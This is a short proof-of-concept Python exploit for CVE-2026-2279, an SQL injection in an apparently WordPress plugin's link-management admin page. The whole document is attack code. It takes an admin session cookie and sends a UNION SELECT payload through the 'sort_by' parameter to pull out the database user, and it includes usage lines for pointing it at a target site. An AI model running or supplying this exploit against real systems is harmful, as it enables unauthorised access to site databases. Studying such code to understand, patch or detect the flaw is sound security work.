CVE-2026-2279

# PoC Code for CVE-2026-2279 # Conceptual demonstration of the SQL Injection import requests def exploit_sqli(target_url, admin_cookie): # The vulnerable endpoint is typically within the plugin's admin page # Parameters 'sort_by' and 'sort_order' are vulnerable url = f"{target_url}/wp-admin/admin.php?page=mylinksdump_manage_links" # Malicious payload to extract database user # Example payload: ' UNION SELECT 1, 2, user(), 4-- - payload = "1 UNION SELECT 1, 2, user(), 4-- -" cookies = { "wordpress_logged_in_": admin_cookie } params = { "sort_by": payload, # Injecting into sort_by parameter "sort_order": "asc" } try: response = requests.get(url, params=params, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database user leakage.") # print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # target = "http://your-wordpress-site.com" # cookie = "your_admin_session_cookie" # exploit_sqli(target, cookie)

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